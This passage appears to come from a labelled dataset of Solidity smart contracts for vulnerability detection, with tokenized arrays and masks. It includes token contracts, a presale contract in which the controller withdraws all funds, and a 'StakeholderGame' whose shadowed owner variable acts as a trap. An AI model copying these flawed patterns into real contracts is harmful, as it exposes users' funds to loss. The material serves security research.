1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-26
*/
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
balances[msg.sender] = 1000000000;
totalSupply = 1000000000;
name = "clay.finance";
decimals = 0;
symbol = "Clay";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2656,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
1018,
1025,
3206,
19204,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1063,
1065,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
1065,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
3588,
1007,
1063,
1065,
2724,
4651,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
1065,
3206,
3115,
18715,
2368,
2003,
19204,
1063,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
2065,
1006,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
1035,
3643,
1004,
1004,
1035,
3643,
1028,
1014,
1007,
1063,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1011,
1027,
1035,
3643,
1025,
5703,
2015,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
2709,
6270,
1025,
1065,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
2065,
1006,
5703,
2015,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1004,
1004,
3039,
1031,
1035,
2013,
1033,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
1035,
3643,
1004,
1004,
1035,
3643,
1028,
1014,
1007,
1063,
5703,
2015,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
5703,
2015,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
3039,
1031,
1035,
2013,
1033,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1011,
1027,
1035,
3643,
1025,
4651,
1006,
1035,
2013,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
2709,
6270,
1025,
1065,
1065,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
2709,
5703,
2015,
1031,
1035,
3954,
1033,
1025,
1065,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
3039,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1031,
1035,
5247,
2121,
1033,
1027,
1035,
3643,
1025,
6226,
1006,
5796,
2290,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-12
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// 💎 WELCOME TO eInfinity 💎
// https://t.me/EinfinityUni
// http://einfinityeth.com
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------e
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract eInfinity is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "eInfinity";
symbol = "eINF";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2260,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
100,
6160,
2000,
16417,
16294,
3012,
100,
1013,
1013,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
16417,
16294,
3012,
19496,
1013,
1013,
8299,
1024,
1013,
1013,
16417,
16294,
3012,
11031,
1012,
4012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1041,
1013,
1013,
3647,
8785,
3075,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
// SPDX-License-Identifier: MIT
// SIVA Pre-Sale Contract | T3M
pragma solidity ^0.7.6;
contract SIVA {
address payable public controller;
uint256 public totalRaised;
mapping (address => uint256) private _amountSent;
uint256 public deadline;
bool private status;
uint256 public salePriceETH;
address private SIVAcontract;
constructor() payable {
controller = payable(msg.sender);
deadline = 1625943600;
status = true;
salePriceETH = 153531709095794;
SIVAcontract = 0xFD18E5BCfbc2f898ab00b430C2059f1389e1B55a;
}
function buySIVA() public payable {
require (block.timestamp < deadline, "Pre-Sale no Longer Active.");
totalRaised += msg.value;
_amountSent[msg.sender] += msg.value;
}
function conclude() public {
require (msg.sender == controller, "Unable.");
uint amount = address(this).balance;
(bool success,) = controller.call{value: amount}("");
require(success, "Failed to send Ether");
status = false;
}
function presaleBalance() public view returns (uint256) {
return address(this).balance;
}
function userETH(address _useraddress) public view returns (uint256) {
return _amountSent[_useraddress];
}
function userShare(address _useraddress) public view returns (uint256) {
uint256 tokens = _amountSent[_useraddress] / salePriceETH * 10 ** 18;
return tokens;
}
function adjustDeadline(uint256 _deadline) public virtual returns (bool) {
require (msg.sender == controller, "Unable.");
deadline = _deadline;
return true;
}
function adjustPrice(uint256 _price) public virtual returns (bool) {
require (msg.sender == controller, "Unable.");
salePriceETH = _price;
return true;
}
function isLive() public view returns (bool) {
return status;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2322,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
9033,
3567,
3653,
1011,
5096,
3206,
1064,
1056,
2509,
2213,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
3206,
9033,
3567,
1063,
4769,
3477,
3085,
2270,
11486,
1025,
21318,
3372,
17788,
2575,
2270,
2561,
14995,
6924,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
1035,
8310,
4765,
1025,
21318,
3372,
17788,
2575,
2270,
15117,
1025,
22017,
2140,
2797,
3570,
1025,
21318,
3372,
17788,
2575,
2270,
5096,
18098,
6610,
11031,
1025,
4769,
2797,
9033,
24887,
12162,
22648,
2102,
1025,
9570,
2953,
1006,
1007,
3477,
3085,
1063,
11486,
1027,
3477,
3085,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
15117,
1027,
26263,
2683,
23777,
16086,
2692,
1025,
3570,
1027,
2995,
1025,
5096,
18098,
6610,
11031,
1027,
16710,
22275,
16576,
2692,
21057,
2683,
28311,
2683,
2549,
1025,
9033,
24887,
12162,
22648,
2102,
1027,
1014,
2595,
2546,
2094,
15136,
2063,
2629,
9818,
26337,
2278,
2475,
2546,
2620,
2683,
2620,
7875,
8889,
2497,
23777,
2692,
2278,
11387,
28154,
2546,
17134,
2620,
2683,
2063,
2487,
2497,
24087,
2050,
1025,
1065,
3853,
23311,
11444,
1006,
1007,
2270,
3477,
3085,
1063,
5478,
1006,
3796,
1012,
2335,
15464,
2361,
1026,
15117,
1010,
1000,
3653,
1011,
5096,
2053,
2936,
3161,
1012,
1000,
1007,
1025,
2561,
14995,
6924,
1009,
1027,
5796,
2290,
1012,
3643,
1025,
1035,
8310,
4765,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1009,
1027,
5796,
2290,
1012,
3643,
1025,
1065,
3853,
16519,
1006,
1007,
2270,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
11486,
1010,
1000,
4039,
1012,
1000,
1007,
1025,
21318,
3372,
3815,
1027,
4769,
1006,
2023,
1007,
1012,
5703,
1025,
1006,
22017,
2140,
3112,
1010,
1007,
1027,
11486,
1012,
2655,
1063,
3643,
1024,
3815,
1065,
1006,
1000,
1000,
1007,
1025,
5478,
1006,
3112,
1010,
1000,
3478,
2000,
4604,
28855,
1000,
1007,
1025,
3570,
1027,
6270,
1025,
1065,
3853,
3653,
12002,
15878,
7911,
5897,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4769,
1006,
2023,
1007,
1012,
5703,
1025,
1065,
3853,
5310,
11031,
1006,
4769,
1035,
5310,
4215,
16200,
4757,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
1035,
8310,
4765,
1031,
1035,
5310,
4215,
16200,
4757,
1033,
1025,
1065,
3853,
5198,
8167,
2063,
1006,
4769,
1035,
5310,
4215,
16200,
4757,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
19204,
2015,
1027,
1035,
8310,
4765,
1031,
1035,
5310,
4215,
16200,
4757,
1033,
1013,
5096,
18098,
6610,
11031,
1008,
2184,
1008,
1008,
2324,
1025,
2709,
19204,
2015,
1025,
1065,
3853,
14171,
3207,
4215,
4179,
1006,
21318,
3372,
17788,
2575,
1035,
15117,
1007,
2270,
7484,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
11486,
1010,
1000,
4039,
1012,
1000,
1007,
1025,
15117,
1027,
1035,
15117,
1025,
2709,
2995,
1025,
1065,
3853,
14171,
18098,
6610,
1006,
21318,
3372,
17788,
2575,
1035,
3976,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract StakeholderGame is Ownable {
address public owner;
uint public largestStake;
function purchaseStake() public payable {
// if you own a largest stake in a company, you own a company
if (msg.value > largestStake) {
owner = msg.sender;
largestStake = msg.value;
}
}
function withdraw() public onlyOwner {
// only owner can withdraw funds
msg.sender.transfer(this.balance);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
3853,
2219,
3085,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1065,
3206,
8406,
14528,
16650,
2003,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
21318,
3372,
2270,
2922,
9153,
3489,
1025,
3853,
17402,
15166,
1006,
1007,
2270,
3477,
3085,
1063,
1013,
1013,
2065,
2017,
2219,
1037,
2922,
8406,
1999,
1037,
2194,
1010,
2017,
2219,
1037,
2194,
2065,
1006,
5796,
2290,
1012,
3643,
1028,
2922,
9153,
3489,
1007,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
2922,
9153,
3489,
1027,
5796,
2290,
1012,
3643,
1025,
1065,
1065,
3853,
10632,
1006,
1007,
2270,
2069,
12384,
2121,
1063,
1013,
1013,
2069,
3954,
2064,
10632,
5029,
5796,
2290,
1012,
4604,
2121,
1012,
4651,
1006,
2023,
1012,
5703,
1007,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
